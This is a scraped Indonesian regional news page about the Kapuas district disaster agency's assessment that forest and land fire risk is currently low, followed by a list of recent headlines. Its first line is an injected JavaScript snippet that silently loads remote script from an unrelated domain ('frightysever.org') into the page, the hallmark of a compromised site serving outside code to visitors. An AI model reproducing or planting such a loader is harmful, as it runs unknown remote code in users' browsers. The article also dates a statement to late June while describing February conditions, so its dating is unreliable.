(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Tengah

Potensi Karhutla di Kapuas, Ini Kata Kalak BPBD Kapuas


KANALKALIMANTAN.COM, KUALA KAPUAS – Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Kapuas sebut potensi terjadi Kebakaran Hutan dan Lahan (Karhutla) di wilayah setempat masih tergolong relatif rendah.

“Kondisi ini dipengaruhi oleh curah hujan yang masih terjadi secara berkala di sejumlah wilayah Kabupaten Kapuas. Hingga awal Februari, kondisi wilayah Kapuas masih tergolong aman dari ancaman Karhutla,” ujar Kepala Pelaksana (Kalak) BPBD Kapuas, Pangeran S Pandiangan, Selasa (27/6/2026).

Kalak BPBD Kapuas menjelaskan, berdasarkan informasi dari Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) hingga 20 Februari 2026 Kabupaten Kapuas masih berpeluang mengalami hujan dengan intensitas ringan hingga menengah.

Baca juga: Diterjang Banjir, Jembatan Gantung ke Wisata Gunung Hauk Mendesak Perbaikan

Meski durasinya tidak panjang, hujan tersebut dinilai cukup efektif dalam menjaga kelembapan lahan, khususnya di kawasan rawan kebakaran.

Menurut Kalak BPBD Kapuas, kondisi cuaca yang panas pada siang hari memang masih dirasakan masyarakat. Namun, kelembapan tanah yang terjaga akibat curah hujan membuat risiko lahan mudah terbakar dapat ditekan.

Hal ini tercermin dari hasil pemantauan BMKG yang menunjukkan bahwa hingga 3 Februari 2026, tingkat kemudahan lahan terbakar di Kabupaten Kapuas masih berada pada kategori tidak mudah terbakar dan relatif aman.

Baca juga: Nol Kilometer Lokasi Pasar Wadai Ramadan Banjarmasin

Meski situasi saat ini terkendali, BPBD Kabupaten Kapuas tetap melakukan langkah antisipasi dan kesiapsiagaan secara berkelanjutan. Upaya tersebut meliputi pemantauan kondisi cuaca, pengecekan peralatan penanggulangan karhutla, serta koordinasi dengan pihak terkait hingga ke tingkat desa.

BPBD Kapuas mengimbau masyarakat agar tetap meningkatkan kewaspadaan dan tidak membuka lahan dengan cara membakar. Pangeran menegaskan bahwa pencegahan sejak dini menjadi kunci utama dalam meminimalkan risiko kebakaran hutan dan lahan, terutama ketika cuaca panas terjadi pada waktu-waktu tertentu.

“Dengan peran aktif semua pihak, diharapkan Kabupaten Kapuas dapat terus terhindar dari bencana karhutla,” pungkas Pangeran. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

2 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

6 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

6 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

6 jam ago

Kabupaten Banjar Raih UHC Award Tahun 2026 Kategori Madya

KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More

7 jam ago

Korem 101/Antasari Bagikan 2.500 Sepatu ke Anak Sekolah Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More

7 jam ago

This website uses cookies.